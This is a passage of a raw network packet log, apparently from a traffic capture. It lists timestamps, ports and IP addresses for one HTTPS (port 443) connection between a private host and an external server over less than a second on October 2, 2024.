Oct 2, 2024 06:10:29.032268047 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.032538891 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.032557011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.032591105 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.032594919 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.032623053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.032632113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.104240894 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.104259968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.104301929 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.104310989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.104331017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.104341984 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.104501009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.104526043 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.104553938 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.104557991 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.104585886 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.104597092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.106509924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.106530905 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.106563091 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.106568098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.106595039 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.106604099 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.108047009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.108063936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.108114958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.108119965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.108156919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.108164072 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.108629942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.108645916 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.108689070 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.108692884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.109625101 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.112356901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.112374067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.112431049 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.112437010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.113723040 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.122817993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.122844934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.122885942 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.122889996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.122925043 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.123245955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.123275995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.123296976 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.123301029 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.123321056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.123347044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.174045086 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.194829941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.194852114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.194885969 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.194891930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.194928885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.194936991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.197022915 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.197040081 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.197086096 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.197093010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.197117090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.197135925 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.197403908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.197419882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.197467089 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.197472095 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.197562933 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.199305058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.199321032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.199369907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.199374914 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.199412107 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.199796915 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.199812889 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.199858904 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.199863911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.199899912 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.209110975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.209126949 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.209209919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.209217072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.209256887 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.213530064 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.213546038 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.213617086 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.213622093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.213660955 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.213990927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.214004993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.214040995 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.214046001 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.214071989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.214091063 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.238945007 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.285476923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.285499096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.285562038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.285569906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.285607100 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.287619114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.287637949 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.287679911 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.287684917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.287714958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.287761927 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.288131952 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.288150072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.288187981 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.288192987 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.288218021 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.288230896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.290060043 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.290076971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.290127039 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.290132046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.290180922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.290443897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.290482998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.290493011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.290497065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.290551901 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.290551901 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.302747965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.302763939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.302802086 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.302809954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.302829981 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.302848101 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.305048943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.305064917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.305121899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.305126905 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.305165052 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.305556059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.305573940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.305629969 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.305634975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.305672884 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.376214027 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.376235008 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.376288891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.376296997 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.376323938 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.376342058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.378150940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.378168106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.378201962 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.378206968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.378232956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.378252029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.378599882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.378616095 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.378652096 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.378657103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.378683090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.378698111 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.381014109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.381030083 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.381067038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.381071091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.381097078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.381114960 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.381409883 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.381432056 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.381460905 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.381464958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.381489038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.381508112 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.390775919 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.390790939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.390826941 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.390831947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.390860081 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.390878916 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.395025969 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.395040035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.395078897 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.395083904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.395102978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.395114899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.395519018 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.395544052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.395569086 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.395572901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.395601988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.395620108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.467087030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.467107058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.467148066 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.467164993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.467178106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.467197895 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.468981981 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.468998909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.469069004 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.469069958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.469075918 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.469115973 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.469683886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.469715118 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.469736099 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.469741106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.469800949 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.471797943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.471813917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.471863031 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.471868992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.471910954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.472145081 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.472161055 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.472193956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.472198963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.472227097 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.472249031 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.481468916 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.481489897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.481530905 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.481534958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.481553078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.481580973 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.485611916 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.485629082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.485663891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.485667944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.485687971 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.485707045 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.486192942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.486222982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.486237049 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.486241102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.486268997 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.486289024 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.557701111 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.557719946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.557765961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.557774067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.557801008 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.557816029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.559700012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.559717894 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.559752941 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.559758902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.559786081 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.559799910 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.560194016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.560209036 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.560242891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.560249090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.560266972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.560281992 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.562418938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.562437057 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.562478065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.562485933 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.562508106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.562525988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.562845945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.562861919 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.562896013 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.562900066 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.562920094 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.562933922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.572195053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.572215080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.572272062 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.572283030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.572329044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.576598883 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.576626062 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.576662064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.576673985 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.576694012 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.576711893 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.577060938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.577076912 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.577107906 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.577114105 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.577136993 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.577157974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.648498058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.648545980 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.648634911 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.648648977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.648701906 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.650248051 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.650266886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.650322914 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.650329113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.650362968 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.650881052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.650907993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.650938988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.650943995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.650964975 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.650985956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.653063059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.653080940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.653127909 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.653134108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.653161049 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.653175116 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.653522015 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.653537989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.653574944 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.653580904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.653606892 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.653628111 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.662823915 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.662847042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.662883043 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.662889004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.662923098 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.662940025 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.667313099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.667341948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.667370081 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.667376041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.667403936 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.667412996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.667649984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.667668104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.667715073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.667720079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.667758942 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.739317894 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.739336967 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.739391088 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.739398956 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.739434958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.749926090 CEST	443	49744	167.114.14.168	192.168.2.4
